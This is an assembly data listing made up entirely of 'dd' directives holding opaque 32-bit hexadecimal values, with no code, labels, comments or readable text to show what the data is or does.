dd 0ED3124CEh, 751B4227h, 0BA982066h, 0A7F7A058h, 0E8B126B5h
dd 0E24111E5h, 268250D3h, 515A8A2Ch, 0F11C3141h, 98D16AB4h
dd 0C120501h, 418952F1h, 4EA059DBh, 0C29710B1h, 65051A48h
dd 0EC740147h, 0FA5C66FAh, 0FAC74B9Bh, 60EAA4C4h, 0D1F6E9F8h
dd 56C8FE5Fh, 0E1D4955Dh, 6265A5BFh, 52FE51DEh, 0F45A6B44h
dd 0B2B8B4C4h, 0C46ED7DEh, 0E7F7BB48h, 0FF190192h, 603E593Bh
dd 3904D321h, 0B3E91E8Eh, 0A2D7BB0h, 5244A79h, 0C3EA1EC3h
dd 0C83173ECh, 1CC4CC20h, 13A8F280h, 511ECCD0h, 0C0CDB100h
dd 0F18002E9h, 76E1EC58h, 711B003h, 0B450C9FEh, 69C1E19Fh
dd 0BFE1FB28h, 7543935h, 344B40A1h, 0FED283B1h, 0D3F4E37Ah
dd 0BD4FD0EAh, 412D3E22h, 3003DE32h, 0FD3842F2h, 0CBBE1D4Bh
dd 0F3787B33h, 421733FAh, 91171F8Fh, 15A34FBh, 144D2BDEh
dd 8C804009h, 1E053C5Bh, 0E4F1E941h, 5FFD3ED1h, 641A6C83h
dd 2A0020D0h, 0A657193Fh, 95030DE9h, 6FED3118h, 3BC49895h
dd 0C80580C1h, 0DB8D2E26h, 72DF00Ah, 0C4FA4A3Eh, 0FFECAAD0h
dd 527A0193h, 700C602Fh, 95940751h, 584FF018h, 0C581F601h
dd 0BD2E5E04h, 0E95D04D5h, 71ADC871h, 20B8C01h, 31F90107h
dd 0B0080518h, 629DA3A1h, 1CFC5545h, 9DF793D8h, 0C409A222h
dd 5D2527D9h, 0C24DAD02h, 0ACA2DF09h, 3BF6FB6Dh, 0D6685A40h
dd 0E1329537h, 0B0CF337Dh, 716A336Fh, 246CB46h, 0B0F5DDE1h
dd 88BD6EA1h, 155E3E42h, 125AAEA5h, 6A91C526h, 0E9AB40Ch
dd 929CFE90h, 203298F2h, 47976C82h, 0B2FC0818h, 56A96807h
dd 1D6E7709h, 0AD2C88DCh, 8EEB2193h, 26320030h, 0C889E168h
dd 4047B859h, 0ED9F2910h, 0ECDF25D4h, 511B2C1Eh, 145A9274h
dd 0B03BA598h, 1F758BAh, 0BFB252BEh, 3F07EAC0h, 9610B5E6h
dd 0D4B6178Ch, 2226CCB0h, 0F996FE28h, 0F556A51Eh, 5BC2CC24h
dd 0CF18F505h, 0BE800440h, 52611637h, 214F007Fh, 0F72C2835h
dd 4527D648h, 0F9382AC8h, 41C994E0h, 2EC568C9h, 1D8423F0h
dd 816ECE3Fh, 0F22562EEh, 7A142AFFh, 0CCE57BDBh, 22161931h
dd 0B94104E9h, 14E56853h, 28605B89h, 0C32D6C52h, 0F31CFF02h
dd 6B8D5695h, 9D084EDFh, 0C6096B7Eh, 7DB0FD61h, 49494268h
dd 611984E4h, 9DCFD6BCh, 94828F38h, 0C7165F82h, 0F607B501h
dd 0A7C9E9DDh, 2EB5B34h, 0C1231439h, 160108E5h, 2B315403h
dd 28347EE4h, 839B4284h, 850C4ECDh, 2BC9EA70h, 634ED7Ah
dd 67101CD7h, 252D7A46h, 60298EFh, 59FEB9E9h, 5DB9AD13h
dd 580308C0h, 909B929h, 0DE4D3228h, 9B1C3071h, 60E35A7Bh
dd 5F81D470h, 54AC8B2Eh, 322D578Bh, 53A886DFh, 98C29F0Dh
dd 62BEF97Fh, 2F77D1E9h, 55A5BF8Dh, 54301914h, 5917DC5Bh
dd 4D1E0B02h, 0A4C2D9E9h, 0CAFD5B62h, 85C5425Dh, 0CCEB8776h
dd 0CC4EBDB8h, 132538F3h, 28D62F42h, 97418558h, 688407D3h
dd 0E7ED3045h, 0E9170CB6h, 90EE3F01h, 70031762h, 4C065758h
dd 0F861709h, 0C116ABh, 0E9135CEEh, 0FE4BD0D6h, 50B8CD56h
dd 2817680Bh, 6B209B46h, 68E388CBh, 247B4B27h, 813F815Eh
dd 0D412AD0Dh, 5C86CFE6h, 49BE3AC3h, 881A0507h, 7E9055A9h
dd 264E72E9h, 3C59B790h, 0B83448DCh, 0FE67CA06h, 6E0F187Fh
dd 801AF835h, 0C9485DE3h, 48589F7Eh, 9B18D398h, 8F863E14h
dd 0ECCFD3C7h, 0FD746B2Bh, 7C010640h, 536F5F81h, 280AFDDh
dd 0B79915E9h, 0CF6D198h, 5A08A902h, 7852D2F7h, 0CA40A1ADh
dd 0A01957EEh, 0D1937ADDh, 0DCFAFA32h, 4FCF8162h, 40295059h
dd 42DBA9F2h, 39BB845Eh, 33E482F2h, 7515022Ah, 1679979h
dd 1718D8B9h, 4962AD9h, 2CCE490h, 77D1F749h, 3116E110h
dd 0CC78573Ah, 0C3D962C2h, 270F7C58h, 57899D4h, 1C4B171Dh
dd 0F594A873h, 0DF5F582h, 9F2ED088h, 0BD350907h, 4029220Eh
dd 58E71D92h, 2305E437h, 0BC479A1Eh, 0ED4212C7h, 40C9A9B4h
dd 26F8ACEEh, 546F04B7h, 5FB728AFh, 6BFC7197h, 0E0AD7F74h
dd 25C15C98h, 80218E8h, 395F05B7h, 0E804F1C3h, 0E257B4A5h
dd 5617E2A9h, 741CB158h, 62B70586h, 8F7E7D76h, 0C2BE54F8h
dd 0D889508Eh, 325D4F0h, 0B63FBCBh, 97F625CFh, 2D12E961h
dd 3C5D12Fh, 2B68008Eh, 26742736h, 7F289DDBh, 6C4E8A74h
dd 0B5200FE8h, 8DB046C4h, 0D2B78AFAh, 87E528AEh, 0C0767C95h
dd 3CDE1B36h, 2AC5850h, 0A85A2390h, 0F087CFFh, 0D17A0095h
dd 0E7C145EDh, 0B7C5B281h, 0DB2602BEh, 2E2737D0h, 21D40A50h
dd 216C6681h, 2222B674h, 8CF39708h, 0F6952009h, 0E0784BBDh
dd 4A12DC20h, 0C998EE5Ch, 0BBD9B55Bh, 53A0C069h, 0CD5154E9h
dd 0FADD5E88h, 7AB28B0Bh, 58C12F00h, 3BC496FEh, 77F26FD7h
dd 0A7B9F928h, 0B709E87Dh, 9E7F585Eh, 3662CF03h, 0E7B03BFAh
dd 4D265044h, 4A08346Eh, 0C9D09DDAh, 0D668A85Fh, 577003C8h
dd 133FE594h, 25E9C36Eh, 40C56110h, 5503E6DFh, 0E3C10D72h
dd 5060008h, 8607F381h, 0E2B50A90h, 40F1CA43h, 16378A3h
dd 0C3016572h, 3A4FBD68h, 41CCF530h, 0D16012F2h, 4814ABE6h
dd 67926EF5h, 0BBB567Ch, 57550B8Fh, 43DAA43Bh, 5A163FD4h
dd 9ECF1E55h, 0B7A7C6AFh, 93AC1BFEh, 0C8AA8D12h, 8195DB6Ah
dd 0CEB8049h, 0D22AD221h, 0B9C8D89Bh, 0FD2C1BA5h, 7803B346h
dd 2AD73Dh, 0D098950Ch, 0EE66E9F2h, 40BB44D7h, 96B58528h
dd 32972988h, 0BB697625h, 5426658Ch, 50584110h, 0F4482783h
dd 0B085EF48h, 481CAE11h, 37E9EB03h, 2D2602ACh, 2CCCB501h
dd 0EAC343D7h, 320BF55Ah, 4A521E74h, 258D40AEh, 5FA83B64h
dd 0A0A1FF28h, 811F563Ah, 0D39D3E01h, 0A10DA97Ah, 0B2E67E9h
dd 0A2DF4DAAh, 0A383F30h, 0B752545h, 714B5DCDh, 0BC265D50h
dd 0B30B340h, 5C0868D8h, 4D1281A2h, 0EE883E69h, 3580CC77h
dd 0EBA706B9h, 0EF2CF00h, 57C8BC2Ah, 9F005C21h, 0E927B038h
dd 0D19ABF1Dh, 0A354E1ECh, 0FC04EF91h, 57281803h, 0BB7CFA0h
dd 5B648550h, 0ABDEAA85h, 8E94E837h, 0A0BF0994h, 355AF63Ch
dd 326CF5E1h, 50C888C3h, 2877DC9Ah, 861CDCB3h, 8D0F6CCh
dd 0AA835E68h, 30D97D31h, 244BFE01h, 4DBAC73Ah, 0A2295827h
dd 0B1C5CC6h, 0CD81A85Eh, 66E310D4h, 370B6F30h, 0F7CAFD7Eh
dd 439C02F7h, 0E929015Dh, 0BC2FA4D5h, 0D08BDEE7h, 4B6DDA65h
dd 0C7E6300Dh, 77647A1Eh, 37B8BC90h, 5B6DCC05h, 2283AB63h
dd 0E0FDE194h, 0BA20917Ah, 1D913A58h, 0CD6EC6B3h, 0CCBC3FB6h
dd 511DF78h, 1F503A6Dh, 0C6C146Ch, 4613E982h, 808CBADFh
dd 310FF65Ch, 0CD892E69h, 0CDDF3980h, 0A5F33C11h, 1271A3BFh
dd 0D9AFC253h, 56328073h, 663A71BEh, 6DF19F52h, 8510FD25h
dd 99598E9Ch, 65975FDFh, 0BA0059C4h, 6A7A7852h, 0F20068BEh
dd 0D4F4F0A6h, 8A362DE9h
dd 27DAB92h, 7D881198h, 0F3A549D3h, 0E0280978h, 0BB62E8DCh
dd 0F579F740h, 24AD8C88h, 1EEC25A6h, 7572C20h, 88521BB4h
dd 82F724E6h, 8155BE5Fh, 61F46822h, 0D059447Bh, 6F801228h
dd 3ED703A8h, 0FB935768h, 2B1DE57Bh, 8B9F05AAh, 40DAEE3Ch
dd 0DEC7E90Dh, 0DC442B64h, 21020955h, 0E3C15FF8h, 0BC8F7110h
dd 34955D05h, 9981B5CEh, 77E1417Fh, 4A230C85h, 0BBDBC4FEh
dd 81A6484h, 0B6140D0Ch, 18BFD67Ah, 0BF67491Dh, 0EA342999h
dd 8F5B0843h, 0C14C2A6h, 3F652318h, 0F029A0Ch, 31E968BBh
dd 0C300C8B8h, 358297BAh, 9A5D6A4Dh, 813B74C1h, 0ED1CB7E5h
dd 8B733026h, 6BBA4C12h, 0B8EE1484h, 87F50244h, 5E6023A5h
dd 0E9550572h, 5B8DE8DEh, 97DF2AB0h, 5024CBC6h, 4D129F9Ch
dd 64D8B0BDh, 0EA015D52h, 33F78114h, 3EE79651h, 116790Ch
dd 0ABF60164h, 7E4959h, 978A2534h, 1E1A2800h, 79980D7Fh
dd 0E0ECF7E8h, 16FE92Dh, 0DD89593Bh, 0D25CAAE0h, 52AEE17Ah
dd 685827h, 800043B4h, 0D4F6CAE4h, 76B55152h, 0AD55C5Ch
dd 0C1767920h, 782ADC3h, 3E70E6AFh, 0A12D19EBh, 0C097D76h
dd 1CE4D54Bh, 0F1F0713h, 82A3DEB0h, 1BBCB460h, 4D3A8917h
dd 0B82B83AEh, 29F2B29Bh, 1023202h, 0E6A5B353h, 595DE8DFh
dd 0EEE0F550h, 805C95D3h, 5AC8DDFAh, 254F93E9h, 5BCEEEBCh
dd 0CC8451AFh, 0DCF2AB61h, 0F5CD8392h, 0F5E8B8E5h, 0B901FDA6h
dd 785B3643h, 2A76EEE9h, 3B347527h, 49B5BFA3h, 0CF6C5EABh
dd 7CA4CE09h, 121FFC3Bh, 0DE2BB891h, 141B044h, 0B5DADE0h
dd 31F31B09h, 5249A2F5h, 0E7D5A36Bh, 3EF9B05h, 3EB2C736h
dd 0C0478F5h, 7E187DD7h, 9AD0EAC4h, 3D08ECBBh, 89274657h
dd 45D098Bh, 4839383h, 7F34E2C3h, 7290BF10h, 0AF301B24h
dd 0AD8BBB3Dh, 2C7E23Dh, 5ACAA2CEh, 245B25BEh, 0F61F4C55h
dd 75EBEC1h, 1945E5D1h, 4F990000h, 214F6EC0h, 27DBDE04h
dd 0A7C535A8h, 0D415F255h, 42B3F27h, 97E9231Ch, 5B0CC1ABh
dd 8BC2E8Bh, 5CB05B5h, 0EFAB358Ch, 4A4D99A6h, 0C291F397h
dd 575C9668h, 23D4298h, 2931ABFh, 0C3EF3C7h, 0AC413A0Ch
dd 0FEB55E41h, 0B9F1062h, 0E133A614h, 2D5291C9h, 7A173F86h
dd 25762D01h, 0E88334EAh, 407AB0FBh, 0BC555A2Ah, 0F37D3F74h
dd 0FE58C728h, 0A20F34F5h, 1C200710h, 0AE16AF38h, 8681EF92h
dd 0DC6BCAF9h, 93A159D4h, 25429BFh, 41CD95C3h, 24D354F2h
dd 0EB191674h, 0D3CB8A90h, 7B52C39h, 0A4C535B5h, 3984B69h
dd 5778BA0Ah, 0AD02B66Bh, 600CF96Dh, 2E1EACB2h, 1F6F1852h
dd 6B0F0BF1h, 0DF965DE7h, 561280A2h, 0DD0CF5CFh, 0FBC5A7A5h
dd 2E179FDEh, 42775233h, 645E57D3h, 0BB5FE904h, 4EB6D8C8h
dd 13DBFC57h, 28FCF7D7h, 6F6A0C9h, 4E1C7725h, 55B531BDh
dd 34B68C8h, 0E9354539h, 3C06B89Eh, 5F3EDFBBh, 131B209Ch
dd 6A0BA05h, 938215E3h, 0C78003A3h, 0DE482414h, 0C5FE92C1h
dd 0BBF582CDh, 501A0BD1h, 9472DFF6h, 0D382507h, 0B2A5116Ch
dd 685A4690h, 0F3284E39h, 0BF651614h, 0FC2B43C9h, 0E2AEB443h
dd 0E9EAE4ABh, 58C38551h, 0BC31B24h, 0DCEF0484h, 0E84B0516h
dd 0E2587313h, 50C202A5h, 401BCA06h, 0C2D8E596h, 2268559Ch
dd 0EE8D78C2h, 8DD02BB6h, 30102BC3h, 54927DEDh, 65482E55h
dd 1270645h, 131868ECh, 1EFEC933h, 909393CAh, 9C46517Fh
dd 28E1748h, 0BD3FDEFh, 9BA2F5D2h, 800BF0D4h, 70685195h
dd 2911306Ah, 0FD0F178h, 0C60E4B26h, 5A659E00h, 5E1A6827h
dd 0D46AB91Fh, 7459277Fh, 0E58A15B5h, 20B1E74Fh, 90680443h
dd 85167819h, 0F26212DCh, 10E98412h, 9D012CA0h, 0FD27025Bh
dd 0EF5FF205h, 4D6D0BD0h, 41DCB03Bh, 6BB66944h, 467160E4h
dd 7397B879h, 685F09DAh, 0D6C62240h, 0C077A51Eh, 5055DEFh
dd 3117BA94h, 38E2E2E4h, 804E6285h, 8F12DCEAh, 59E04A5Eh
dd 4A1F984Dh, 2D2485D7h, 0B9AD6B28h, 0BEF80116h, 0B4612E61h
dd 0EAC53793h, 0C0F9E553h, 6691BF4Bh, 887AD389h, 0BA065292h
dd 290D258Dh, 65DF178Eh, 69240619h, 0FA5E69DDh, 60843CEEh
dd 645BB2B2h, 0ED1EAC0Ch, 0FAD0975Dh, 0C8137D12h, 7C6BE9E8h
dd 1E484627h, 3DA0F4E9h, 841C5DBBh, 6330187Ah, 6EF1C55Bh
dd 22D02558h, 120C90DCh, 9ACD913Eh, 9850B579h, 5FAAC2D6h
dd 13A2A8A4h, 39EA3159h, 3A712B83h, 0EC7CE189h, 0BB0531D4h
dd 0BA441671h, 81D1BD4h, 0B0CBC24Ah, 5A505549h, 0E2BB51B7h
dd 8E6A7CE9h, 5B54F95Dh, 2DE9AC05h, 0A9CCFED6h, 95EB7D68h
dd 0E9137596h, 0E7BD69B1h, 5D154A04h, 2EEC21Bh, 0FE299E0Eh
dd 8A4D0507h, 82E05956h, 0EA14C007h, 1E358079h, 0D3AFF309h
dd 0E7E9F701h, 0AA457E2Dh, 0C6EA9CEDh, 0AC70FC83h, 8A4CA26h
dd 6033C907h, 20B82924h, 5E950841h, 0BF02F7B3h, 110A54DBh
dd 2ABA71E1h, 2CD2DB4h, 29041F7Bh, 78E2DD0h, 0A66BA9A1h
dd 25343B25h, 5B679BC1h, 70C5FA04h, 39A0E387h, 959DE549h
dd 577F0B78h, 0E601D7BEh, 26B30B8Ah, 288EF6D8h, 2DCBB208h
dd 816679EDh, 552CA50Fh, 770EAA31h, 0C4BFC313h, 65A8AF0Eh
dd 0FACFE9C2h, 7BB73FEBh, 0AC038870h, 0B151D830h, 53C1F04Fh
dd 503E01B7h, 7DE9F2B0h, 1D303B66h, 4B9819D8h, 96CDA820h
dd 1D3AF505h, 617AAACDh, 6318880h, 0D3F63074h, 3D01EFA5h
dd 46D72B2Eh, 8AEA7F25h, 68FD81DDh, 8D2A029Ch, 9E5D20D2h
dd 17A287Bh, 0F0E9DF0Ch, 0BF52C0F6h, 9A20C1F0h, 816606BCh
dd 0A51A3CFh, 3135EF1Eh, 4FDDF8A7h, 25938D15h, 8918393Ch
dd 54E209C1h, 0BAFC2D63h, 18BD572h, 0BEB3C5FDh, 0B4BDC58h
dd 0CA795A77h, 72BDE962h, 0BF30E7A2h, 0BE79BD67h, 0BA14E987h
dd 2F0FE4D9h, 0A244E12Dh, 2CEEB781h, 6DB900EDh, 81486A07h
dd 264AE6E1h, 34375B40h, 2E418004h, 863504Ch, 0B967C111h
dd 0A82F97C3h, 66E50070h, 557B773Ah, 0FBA2D3FFh, 2D627E02h
dd 0F6DFE0A8h, 7F1E966h, 694F83Eh, 12F57DA3h, 6EB091Ch
dd 0A806765h, 61DC54D2h, 42A318C1h, 0A83893E3h, 0E912EA58h
dd 6959A177h, 0FA6427EBh, 0AEC10745h, 0B57EA82Ch, 5DFC4D3Eh
dd 8F26EF0h, 0EA284F4h, 0E92270F3h, 69F2E2E3h, 5C2F872Dh
dd 8B5F523Ah, 16F4B49Ah, 5B070FE9h, 0A8CA659Fh, 0F725B25Eh
dd 0C0472CB0h, 0D4E5DF82h, 89BC2F3Fh, 0C0515DBAh, 0FEAFE44Fh
dd 52815BEDh, 7A169268h, 0BE4AC8Dh, 0E914440Eh, 18826C2Dh
dd 0D2CD701Fh, 0C3A40E48h, 0D122AB02h, 0B50B95D0h, 0DF29960Eh
dd 19270FC6h, 0B312FDF2h, 36250EF5h, 68C297E2h, 18F56E18h
dd 375BB6h, 25407DFEh, 177926CDh, 57A60501h, 0F6350962h
dd 0B71EDAF8h, 0FC204F78h, 68430A20h, 41254D42h, 0FC478DF8h
dd 775A96E9h, 0C168DE70h, 0B9CF5B52h, 8F8F5A68h, 362DB058h
dd 0E1534BFEh, 1A2BEF73h, 0E77F3AD2h, 74A905B3h, 0C7BAC029h
dd 0F4261F5Fh, 0E113CB42h, 7B7B76FEh, 19C8BFA2h, 51BFDFB5h
dd 44402FB4h, 0D6E773D3h, 0FDCE6055h, 1A048308h, 5BF54EA9h
dd 49274480h, 0ED565A2Eh, 71E25B1Eh, 685707DFh, 0D0E54CCFh
dd 18F9A74Ah, 167CD494h, 0C070584Bh, 15E08B6h, 10344C4Ah
dd 64591109h, 0A2A82DA0h, 0E5B00BFBh, 0BF7ED268h, 0EEBFE098h
dd 99F3FF4Fh, 0A04CE037h, 0E257055Bh, 50C01313h, 29073DACh
dd 75E92C56h, 0F67D0033h, 213D3E6Fh, 0F9ED94Ch, 0F6B030C1h
dd 0DE802F04h, 0A604341Ah
dd 406618F6h, 0E980812Bh, 0C434FC14h, 7AD180A8h, 0C140961Eh
dd 0F106DCE8h, 3DD30878h, 4456095Ch, 955C028h, 41E55DB1h
dd 0D9B86409h, 129083A3h, 0E6EB02B4h, 0CA5418BCh, 0AEB22736h
dd 0FB2D5D7Ch, 2D9E0852h, 49C15E2Dh, 0F8111568h, 5DEB43CBh
dd 178B7DA9h, 886BC857h, 994BF3Bh, 0EAD31F20h, 9EAD62DEh
dd 797D295Dh, 0FE05441Ch, 50E9A444h, 310D51E8h, 7FAB5EF1h
dd 79D266C3h, 21439F18h, 0F9ABEFCAh, 0DB33F04Dh, 57AA9528h
dd 9E56BA40h, 2248BFEh, 0CA56CFEEh, 81B9E272h, 51590FA5h
dd 0C6EFC1C4h, 4DDD9574h, 3E0439F0h, 0DF016D27h, 59388180h
dd 0F21A5A11h, 0D32001FDh, 0D70192F2h, 5AE97B5Ch, 0BAD184A4h
dd 0E78F35ECh, 0BEF79F84h, 0B4D6CFB3h, 215FD7E5h, 0FA38D889h
dd 0C448E8D4h, 0B39AC780h, 31272D25h, 0BFA65AF9h, 0F7275CE7h
dd 0D6B5121Ch, 0B06861B9h, 10A8267Ah, 0B73B8F8h, 6B8E5E58h
dd 0C2EE80DDh, 5F24EA54h, 0E941FE40h, 6F6B7535h, 58C2B241h
dd 16F07D60h, 0E97CED24h, 81084161h, 5A4B390Ch, 0BE345870h
dd 0B3DE4071h, 0EBC08507h, 48308002h, 0B866E3D0h, 0E92D3EF1h
dd 375E39C9h, 0AB01C452h, 0A60591CBh, 0B80CC569h, 41FB40FCh
dd 38AC7F17h, 0C78640AAh, 79A93108h, 0A75C3D98h, 0B2BA84FDh
dd 0E6D1DCFAh, 580AEE53h, 0CDBE67C0h, 27A17AF5h, 0CA61A36Ah
dd 9408ED53h, 0CF01094Bh, 5E1C2D01h, 44D3879h, 3C993323h
dd 8139C4BFh, 9BB6C62Bh, 984E86ECh, 5C2568D8h, 50C2C03Ch
dd 0D0F809E9h, 0D4E7D12Fh, 8A1C41D1h, 0D3D220F3h, 437CF392h
dd 0BE17B4F2h, 7EECB795h, 0AF41491Ch, 4BD294F5h, 5EDCC220h
dd 32AC45C5h, 0F4EDC344h, 0CA80C702h, 0F07FBAE0h, 0E4B72DC6h
dd 2D2B1C57h, 4F72DFA7h, 1F010171h, 0FD875D07h, 8A4D7F7h
dd 16EE29E5h, 76C2F9C1h, 0CE906FF9h, 0B5592931h, 5D817165h
dd 0D40EE961h, 0C53B40B9h, 2D79B193h, 48AF964h, 4958CAB8h
dd 0AA4F5D04h, 8FBB443h, 12D28EBDh, 5BA01ABh, 7EC1B151h
dd 83043888h, 0F30B56BAh, 4E1B3E4Bh, 49AA40ABh, 815B058Fh
dd 81053C8h, 45015574h, 2E323352h, 80C76C64h, 0E6564441h
dd 0D495350h, 9C544E1Fh, 850A6A4Ch, 0A2E9F001h, 68770097h
dd 7A149DBEh, 0E3FF1C06h, 2719FDFDh, 8F5159Eh, 0EB9F4428h
dd 0A0382284h, 0C021E142h, 0BA84D710h, 42CD48A1h, 0C324A230h
dd 0B45B3640h, 0BE00CE67h, 1F6B0451h, 10AA3F0h, 0A43D8A85h
dd 0CCD926E9h, 0E0FF22CCh, 0CD01BE57h, 345CF542h, 99D48EDBh
dd 4F293876h, 0FC8FF800h, 0FEC4DF3h, 93143902h, 43766880h
dd 92F990C0h, 2EA007Dh, 3928315Ch, 0DC00727Ah, 2B49F175h
dd 0FEFCF20h, 844B8777h, 3AF9E840h, 80006C32h, 505B29B9h
dd 858E1Bh, 0EAD9E1A0h, 1923CBAEh, 964F0E00h, 0CCBBC3F8h
dd 27A70084h, 0EC39A4AFh, 0D4003B53h, 7CD77055h, 2FDD8232h
dd 44873316h, 0E5417FB4h, 0F8CF404Ch, 6E02A1E9h, 8078821h
dd 677C80BBh, 0F0EDA04Eh, 4F3C00D5h, 0B6DA73C0h, 1BEA0C59h
dd 0CDA7F401h, 0FD11767Eh, 95728240h, 0EE1CE6BFh, 6378A0BEh
dd 2BE407AAh, 0DFEC3898h, 848F49C2h, 8E81AC60h, 0D38CFB00h
dd 6C0552BDh, 7B977F24h, 8B52C0F8h, 17E01580h, 7098772Fh
dd 0EBA01C69h, 0CA248690h, 4B00D206h, 0E37CC946h, 1966A9h
dd 0B8050A80h, 529F701Fh, 3BD4B900h, 37B7FEEEh, 46CF056h
dd 0A57B8D3h, 84018871h, 643E8B03h, 87A0D15h, 562C09D3h
dd 0B1DE9740h, 0BACB305Eh, 0AF1B0652h, 7B5B3200h, 4322BCE2h
dd 0F6FC00C2h, 78B53CFAh, 3F49E3E5h, 73F40089h, 0BD4F222h
dd 16A918B4h, 0AFA65BE8h, 7996F600h, 6823B8E6h, 47DF065Fh
dd 72DD3C52h, 7B34F300h, 6F6CFF10h, 1C090212h, 0C92E555Dh
dd 4AA82543h, 6B91D28Bh, 0B5EA2501h, 915239EEh, 0E5CBB058h
dd 65AA60DDh, 0A463CED9h, 89569C18h, 0B836414Ch, 133E00B6h
dd 4794B562h, 2766DDFh, 6C4F5814h, 0C6850099h, 6779FBEh
dd 5C044850h, 140F8113h, 1200253Ch, 8A5D927Dh, 8F008C1Fh
dd 0D7F9AF6h, 0A629702h, 6B1C243Bh, 87470091h, 0B8DE7518h
dd 64FC0500h, 0F5929A59h, 1E67F0Bh, 0D7E87B86h, 0D4D958B7h
dd 0ED05B25Eh, 0C9DEA54Ah, 287763B8h, 0C3C847h, 7F1865AAh
dd 1EB7040Bh, 519E7100h, 0ED3AD5B8h, 7836EAFDh, 0D26B0057h
dd 700956B9h, 0A275EF20h, 6304029Ah, 0FE7B0C14h, 2B080180h
dd 905BF255h, 374832FFh, 14E833Eh, 0D05A6838h, 0D53892A8h
dd 1607C8FCh, 0E9501629h, 0D04A508Eh, 3C6AFD12h, 0CE09229h
dd 3BBFA090h, 86E30030h, 0D1D9987Dh, 3009B95h, 0A9627950h
dd 0CF429E6h, 81167121h, 5A016570h, 3F747FC7h, 0A1D09718h
dd 0A3E418ECh, 0D5E020A7h, 0AD0058B8h, 0D2070886h, 1B0194FFh
dd 22B2EDA1h, 9EF5ECD8h, 0B6B12631h, 87745FF3h, 0C39B0045h
dd 25E4D1DAh, 5C9A311Dh, 8A7B5472h, 2D5EBB00h, 6F4277E2h
dd 0FBDB13DCh, 7366406Bh, 93ED1BAh, 0CEA33600h, 1921E0C5h
dd 76D9A85h, 8EF90160h, 0ED8C7F7Dh, 0AC16B547h, 0BA1206C5h
dd 402E754Eh, 2CE3AB64h, 0D1E809DFh, 78A0BEC9h, 0E1FB2BDh
dd 0F5998001h, 3F30AF1Ah, 0F8B37A34h, 941F9C47h, 0BA81FA3Ah
dd 346F0855h, 41980E60h, 0E5A84100h, 0C8EDDD2Ah, 677826h
dd 46C9C25Bh, 0DF3060F9h, 95009275h, 4532D7Ah, 90FF8BFCh
dd 1BF80310h, 0C0A5AE45h, 0F24CD27Fh, 3B460071h, 47C8C37Ch
dd 8C4500B4h, 934C0B04h, 0E20017F8h, 329D7219h, 0BABA29Fh
dd 12757D94h, 66712620h, 829AD1B6h, 14A7B200h, 0C3828D03h
dd 89860F0Ah, 0C208B54h, 69904D7h, 36582103h, 20A7D85h
dd 36E7945h, 99686984h, 31FE44E9h, 0FD0A88AAh, 424A0034h
dd 0A3E780CDh, 8600EC90h, 20B90609h, 0F55A26Dh, 0EF9E5065h
dd 513AD300h, 0D84C71BEh, 0F21D809Dh, 267CCBA5h, 2711374h
dd 0BD93704Dh, 969A7044h, 0C7564100h, 0FA8D820Eh, 693312AEh
dd 3D984159h, 81615235h, 0BB26310Ch, 0A02587FEh, 82FD76F0h
dd 7E822262h, 9E4C6896h, 0C34C4301h, 7D919958h, 8A124h
dd 9BFAB0FDh, 0DFC6CFA8h, 50092000h, 0E242D53Ah, 63926Ch
dd 19F69A9Bh, 73CD3B8h, 78C93404h, 1280D089h, 5362C2h
dd 0B3B606DEh, 0F4FCBBAAh, 0F600DDE8h, 147C7DF7h, 1D35C6FBh
dd 87BAE33Ch, 634EB974h, 0EB906B24h, 0E6007358h, 3139F8DDh
dd 108AB92h, 17D6E1F2h, 20600996h, 238F6C1h, 6147266Fh
dd 0DEC0A834h, 39CC9Fh, 262E453Ch, 0F5E4FC61h, 69F72259h
dd 0A6F7A00Fh, 0B020F995h, 976A0F75h, 6F45AD2Ch, 0A78E02B1h
dd 51FC37E0h, 0A0D9B809h, 86D33CEDh, 729D09EDh, 25048C25h
dd 6B7C88BFh, 80844A5Ch, 77C44B40h, 5DB21DDEh, 0F8174010h
dd 7A82D1ABh, 0FA010D28h, 0BB916E12h, 80988237h, 35EEADB8h
dd 0DF48605Bh, 8DC05BFEh, 486C1BCBh, 463054CFh, 0BA2530F8h
dd 0BCD46D00h, 76F71E53h, 112400E5h, 5C649FFCh, 30CEA62Bh
dd 4FE24058h, 12BF503Eh, 2B40940h, 5D24C970h, 427DA5DFh
dd 5C0058C9h, 5AFFC13h, 49967916h, 0F582D0B0h, 5F782EC0h
dd 0C1CA6300h, 2868014Eh, 909A75E7h, 0CBEC3B9h, 0ED708304h
dd 18D2373h, 0E653106Dh, 0CC5FCC55h, 0EAA45D07h, 0E2F06625h
dd 1C9D9A2Dh, 19878FA6h, 6083505Ah, 64C1082h, 0E1307E79h
dd 97A21859h, 0FA060E7h, 0AE6DD8E3h, 8205F57Bh, 0F9CC010Eh
dd 3D849ED1h, 7F8A4D80h
dd 30C814Ah, 0EFA8CE0Bh, 91B849Eh, 8558BD81h, 629230h
dd 5716FB05h, 91E665D6h, 0DE032FE8h, 0EBD4DC4Bh, 0B14C2C35h
dd 0D00FB4C2h, 0EC9FA0C2h, 89802359h, 167182DFh, 4AF06024h
dd 0A4E31993h, 20D7364Fh, 1200CB63h, 1EF19D7Ch, 6F66B3h
dd 0D637D8B6h, 52255AB5h, 0E0AEBF00h, 5159702Fh, 3E506036h
dd 0C2A73A45h, 221A9B00h, 6BF1D441h, 483009C3h, 0C02077DAh
dd 497E91FDh, 72E66A3Ch, 8398C43Bh, 0D21FF09Eh, 0CBBCC0DBh
dd 811E9071h, 0F4641AD2h, 18C2E55h, 659A003Ch, 5A256992h
dd 74B9D103h, 0D45B90FBh, 2580D5C9h, 28BD2468h, 0B4602DB1h
dd 0E2A5AD5Ah, 0A15CC37Ah, 0F9EE696h, 45B8E1F6h, 333BFA0Ch
dd 1271754h, 1678891Ch, 0EE13ACF9h, 1BEEA8A0h, 0DB007BB0h
dd 0A43D6947h, 0CB4449h, 67A8E57Eh, 0ECF40B32h, 0E8499B60h
dd 0B9394ADDh, 49458245h, 615791C6h, 22345512h, 0ECF50009h
dd 16CBB7F7h, 0D706B46Dh, 9D300338h, 0C10E07FEh, 0A07749CAh
dd 90BAB7Fh, 29657601h, 3099B1E6h, 86A5B9F7h, 28D65E60h
dd 7F8D7F0Dh, 78ABFCC5h, 8762006Bh, 0C8490807h, 230F4DD3h
dd 2B9B6819h, 9803190Bh, 0C579EF60h, 40FBC4FAh, 0D9084CDAh
dd 0C23ED604h, 45CA001Fh, 6A0E0586h, 2BEF8E8h, 0E66F10F2h
dd 81409DDCh, 4400DDDAh, 1E69714Ah, 646A4h, 0B2E7525Dh
dd 76351C25h, 818C6E3Eh, 5CBB0858h, 9FDF3354h, 80C88705h
